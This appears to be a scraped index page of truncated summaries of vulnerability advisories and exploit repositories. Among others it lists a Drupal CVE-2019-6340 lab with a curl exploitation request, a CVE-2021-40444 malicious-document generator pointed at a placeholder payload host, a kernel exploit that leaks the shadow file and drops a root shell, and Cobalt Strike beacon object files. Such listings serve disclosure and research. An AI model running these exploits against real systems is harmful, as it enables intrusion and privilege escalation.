CVE-2019-6340

CVE-2019-6340 Solo con fines educativos Ejecutar root@kitploit: $ docker run --rm -p 8080:80 knqyf263/cve-2019-6340 Explotación GET root@kitploit: $ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?format=haljson" -d ' "link": "value": "link", "options":...

EUVD-2026-72695

The Live Composer – Free WordPress Website Builder plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.1.18 via deserialization of untrusted input . This makes it possible for authenticated attackers, with contributor-level access and above, to injec...

CVE-2026-16502 Live Composer <= 2.1.18 - Authenticated (Contributor+) PHP Object Injection via Shortcode

The Live Composer – Free WordPress Website Builder plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.1.18 via deserialization of untrusted input . This makes it possible for authenticated attackers, with contributor-level access and above, to injec...

CVE-2026-16502

The Live Composer – Free WordPress Website Builder plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.1.18 via deserialization of untrusted input . This makes it possible for authenticated attackers, with contributor-level access and above, to injec...

CVE-2025-43960

CVE-2025-43960 - PHP Object Injection in Adminer 4.8.1 via Monolog - Denial of Service DoS After months of waiting for a response from MITRE, I obtained CVE-2025-43960 with a PHP Object Injection attack against the Adminer service 4.8.1, causing a Denial of Service DoS through Memory Manipulation...

CVE-2024-4947

CVE-2024-4947 A in-the-wild V8 type confusion bug. This repository contains Analysis and PoCs to escalate this vulnerability to have the same exploit pattern as CVE-2024-12695, Object Hash Reassign. AddressOf / FakeObject Primitives constructed by using the type confusion to assign object hash to...

CVE-2021-40444

CVE-2021-40444 Usage Ensure to run setup.sh first as you will need few directories. Once you have run the script, you should be able to run gen.py with the example given:- root@kitploit: Usage python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t...

CVE-2024-14027_slop

CVE-2024-14027 - SlopSploit The exploits were tested on 6.6.51 using a Qemu debian install. exploit.c - will leak the shadow file. exploitdc.c - demonstrates the double close method to drop a root shell. WRITEUP.md - LLM generated writeup. This was an experiment using LLM Opus 4.6 to exploit a...

Masteriyo LMS <= 1.7.3 - Insecure Direct Object Reference

Authentication Bypass Using an Alternate Path or Channel vulnerability in Masteriyo Masteriyo - LMS. Unauth access to course progress.This issue affects Masteriyo - LMS: from n/a through 1.7.3. id: CVE-2024-33939 info: name: Masteriyo LMS = 1.7.3 - Insecure Direct Object Reference author:...

Schneider Electric U.motion Builder - SQL Injection

The vulnerability exists within processing of trackimportexport.php in Schneider Electric U.motion Builder software versions prior to v1.3.4. The underlying SQLite database query is subject to SQL injection on the objectid input parameter. id: CVE-2018-7765 info: name: Schneider Electric U.motion...

ermir

Ermir Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it list/lookup/bind/rebind/unbind. Requirements Ruby v3 or newer. Installation Install Ermir from rubygems.org: root@kitploit: $ gem install ermir or clone the repo and...

Everest Forms WordPress Plugin <= 3.4.3 - PHP Object Injection

The Everest Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.4.3 via deserialization of untrusted input from form entry metadata. This is due to the html-admin-page-entries-view.php file calling PHP's native unserialize on stored entry meta...

My Geo Posts Free <= 1.2 - PHP Object Injection

The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If ...

SEOPress < 7.9 - Authentication Bypass

The SEOPress WordPress plugin before 7.9 does not properly protect some of its REST API routes, which combined with another Object Injection vulnerability can allow unauthenticated attackers to unserialize malicious gadget chains, compromising the site if a suitable chain is present. id:...

Danswer - Insecure Direct Object Reference

The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/fileid interface to view any user's file. id: CVE-2024-9617 info: name: Danswer - Insecure Direct Object Reference author: s4e-io severity: medium...

SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection

A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the restdata parameter before passing it to the...

CVE-2023-1405

CVE-2023-1405 Formidable Forms = 6.1.2 - Unauthenticated PHP Object Injection Description: The Formidable Forms plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 6.1.2 via deserialization of untrusted input from form submissions. This allows...

CVE-2026-81802

Unauthenticated Insecure Direct Object References IDOR in WpEvently = 5.6.0 versions...

CVE-2021-4034-pwnkit

CVE-2021-4034, PwnKit Proof of concept for PwnKit, a local privilege escalation in polkit's pkexec. On a default install any unprivileged local user can become root. About the bug Vulnerable versions of pkexec mishandle the process argument count. That lets controlled environment variables get...

CVE-2024-26229-BOF

CVE-2024-26229 Beacon Object Files Beacon Object File BOF implementations from NVISO of CVE-2024-26229 for Cobalt Strike and BruteRatel. Compile with: root@kitploit: gcc -c CVE-2024-26229-bof.c -o CVE-2024-26229-bof.o This vulnerability was patched on April 9th, 2024. See...